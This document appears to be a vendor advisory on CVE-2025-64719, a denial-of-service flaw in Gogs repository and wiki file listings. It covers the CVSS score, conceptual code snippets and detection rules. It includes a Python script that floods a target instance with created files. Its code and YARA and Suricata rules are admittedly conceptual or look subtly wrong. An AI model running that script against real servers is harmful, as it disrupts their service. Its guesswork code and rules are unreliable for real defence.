CVE-2025-64719

Executive Summary

CVE-2025-64719 is a denial of service (DoS) vulnerability in Gogs, an open-source self-hosted Git service. A malicious user with file creation rights on a repository or wiki page can trigger a condition where pages listing files return HTTP 500 errors, rendering the web interface unusable for that repository or wiki. The vulnerability stems from improper error handling in commit information recovery within internal/route/repo/wiki.go and internal/route/repo/view.go. When errors occur during commit recovery, the page stops rendering and returns a 500 error, leading to a DoS. The issue is fixed in Gogs 0.14.3.

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability is in the core application code, not in a package dependency. However, users should ensure they are using the official Gogs release and verify the integrity of the binary or source code. The fix is included in version 0.14.3, which should be obtained from the official Gogs repository.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - requires a user with file creation rights
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) - renders the web interface unusable for the affected repository or wiki

The threat level is medium due to the requirement for authenticated access with file creation rights. However, the impact on availability is high for the targeted repository or wiki.

Deep Dive & Mechanics

The vulnerability is located in the Gogs web routing logic for repository and wiki pages. When a user views a file listing (e.g., in a repository or wiki), the application attempts to recover commit information for each file. In the vulnerable code, if an error occurs during this recovery process (e.g., due to a malformed file or a specific sequence of operations), the error is not handled gracefully. Instead, the page returns an HTTP 500 error and stops rendering, effectively causing a denial of service for that specific repository or wiki.

The attack vector involves a malicious user with rights to create new files. By creating a file that triggers an error during commit recovery, the attacker can cause the file listing page to fail. This can be repeated or automated to maintain the DoS condition.

The vulnerable files are:

• internal/route/repo/wiki.go
• internal/route/repo/view.go

The fix in version 0.14.3 likely involves proper error handling, such as logging the error and continuing to render the page without the problematic commit information, or returning a partial page.

Vulnerable vs. Patched Code

The following is a conceptual representation of the vulnerable and patched code. The actual code may vary.

Vulnerable Code (pre-0.14.3):

// internal/route/repo/view.go
func ViewFile(ctx *context.Context) {
    // ... other code ...
    commit, err := repo.GetCommitByPath(filePath)
    if err != nil {
        // Error is not handled, causing 500
        ctx.ServerError("GetCommitByPath", err)
        return
    }
    // ... render page with commit info ...
}

Patched Code (0.14.3):

// internal/route/repo/view.go
func ViewFile(ctx *context.Context) {
    // ... other code ...
    commit, err := repo.GetCommitByPath(filePath)
    if err != nil {
        // Error is handled gracefully, page continues without commit info
        log.Warn("Failed to get commit for file %s: %v", filePath, err)
        commit = nil // or use a default
    }
    // ... render page with or without commit info ...
}

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable Gogs instance (version < 0.14.3). Create a user account with repository creation and file creation rights.
2. Exploit:
   • Create a new repository or wiki.
   • Create a file with a name or content that triggers an error during commit recovery. This could be a file with a very long name, special characters, or a specific binary content that causes the Git library to fail.
   • Navigate to the file listing page of that repository or wiki. The page will return HTTP 500.
   • Repeat the file creation to maintain the DoS condition.
3. Automation: Use a script to automate file creation and page requests to sustain the DoS.

Example Python script:

import requests
import random
import string

target = "http://victim-gogs:3000"
username = "attacker"
password = "password"
repo_name = "evil-repo"

# Login
session = requests.Session()
session.post(f"{target}/user/login", data={"user_name": username, "password": password})

# Create repository
session.post(f"{target}/repo/create", data={"repo_name": repo_name})

# Create malicious files
for i in range(100):
    file_name = ''.join(random.choices(string.ascii_letters + string.digits, k=100))
    session.post(f"{target}/{username}/{repo_name}/_new/master", data={
        "file_name": file_name,
        "content": "malicious content"
    })

# Trigger DoS
response = session.get(f"{target}/{username}/{repo_name}")
print(f"Status: {response.status_code}")

Blue Team

1. Detection: Monitor for HTTP 500 errors on repository and wiki pages. Look for patterns of repeated file creation followed by 500 errors.
2. Mitigation: Immediately upgrade to Gogs 0.14.3 or later. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with suspicious file names or content that trigger errors.
3. Forensics: Check logs for errors related to GetCommitByPath or similar functions. Identify the user account responsible for the malicious file creation.

Indicators of Compromise (IOCs)

• HTTP 500 errors on repository or wiki file listing pages.
• Log entries containing errors like GetCommitByPath or Failed to get commit.
• Unusual file names (e.g., very long, special characters) in repositories or wikis.
• Repeated file creation by a single user in a short time frame.

Detection Engineering

YARA Rule

rule CVE_2025_64719_Gogs_DoS {
    meta:
        description = "Detects Gogs DoS vulnerability CVE-2025-64719"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64719"
    strings:
        $vuln_func = "GetCommitByPath"
        $error_500 = "500"
    condition:
        $vuln_func and $error_500
}

Sigma Rule

title: Gogs DoS via File Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP 500 errors on Gogs repository/wiki pages after file creation
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        status: 500
        uri|contains:
            - "/repo/"
            - "/wiki/"
    condition: selection
falsepositives:
    - Legitimate server errors
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64719 Gogs DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/_new/"; http_uri; content:"500"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Gogs to version 0.14.3 or later.
2. Workaround: If upgrade is not possible, restrict file creation rights to trusted users only. Implement rate limiting on file creation endpoints.
3. Long-term: Regularly update Gogs to the latest version. Monitor for security advisories from the Gogs project.

Valters IT
Securing Digital Frontiers